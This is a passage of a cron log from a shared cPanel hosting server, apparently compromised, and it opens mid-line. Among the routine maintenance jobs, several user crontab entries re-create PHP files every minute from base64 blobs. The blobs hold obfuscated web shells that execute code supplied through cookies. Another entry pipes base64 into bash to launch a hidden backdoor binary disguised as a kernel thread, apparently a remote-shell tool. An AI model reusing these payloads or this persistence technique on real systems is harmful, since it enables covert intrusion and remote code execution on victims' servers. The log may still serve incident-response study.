hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:00:02 medusa CROND[4181]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 23:00:02 medusa CROND[4178]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  1 23:00:02 medusa CROND[4185]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:00:02 medusa CROND[4187]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:00:02 medusa CROND[4188]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 23:00:02 medusa CROND[4183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:00:02 medusa CROND[4161]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  1 23:00:02 medusa CROND[4199]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:00:02 medusa CROND[4210]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:00:02 medusa CROND[4209]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  1 23:00:02 medusa CROND[4208]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 23:00:02 medusa CROND[4165]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 23:00:02 medusa CROND[4223]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  1 23:00:02 medusa CROND[4222]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 23:00:02 medusa CROND[4225]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:00:02 medusa CROND[4226]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  1 23:00:02 medusa CROND[4232]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 23:00:02 medusa CROND[4228]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 23:00:02 medusa CROND[4193]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 23:00:02 medusa CROND[4229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:00:02 medusa CROND[4231]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 23:01:02 medusa CROND[6105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:01:02 medusa CROND[6137]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:01:02 medusa CROND[6139]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:01:02 medusa CROND[6140]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:01:02 medusa CROND[6141]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 23:01:02 medusa CROND[6142]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:01:02 medusa CROND[6143]: (root) CMD (run-parts /etc/cron.hourly)
Mar  1 23:01:02 medusa CROND[6145]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 23:01:02 medusa CROND[6146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:01:02 medusa CROND[6147]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:01:02 medusa CROND[6138]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:01:02 medusa CROND[6154]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:01:02 medusa CROND[6151]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:01:02 medusa CROND[6157]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:01:02 medusa run-parts(/etc/cron.hourly)[6143]: starting 0anacron
Mar  1 23:01:02 medusa run-parts(/etc/cron.hourly)[6296]: finished 0anacron
Mar  1 23:02:02 medusa CROND[9061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:02:02 medusa CROND[9062]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:02:02 medusa CROND[9063]: (wmondolo) CMD (/usr/local/bin/php -q /home12/wmondolo/public_html/corrector.php > /dev/null)
Mar  1 23:02:02 medusa CROND[9064]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:02:02 medusa CROND[9065]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:02:02 medusa CROND[9066]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:02:02 medusa CROND[9067]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:02:02 medusa CROND[9068]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
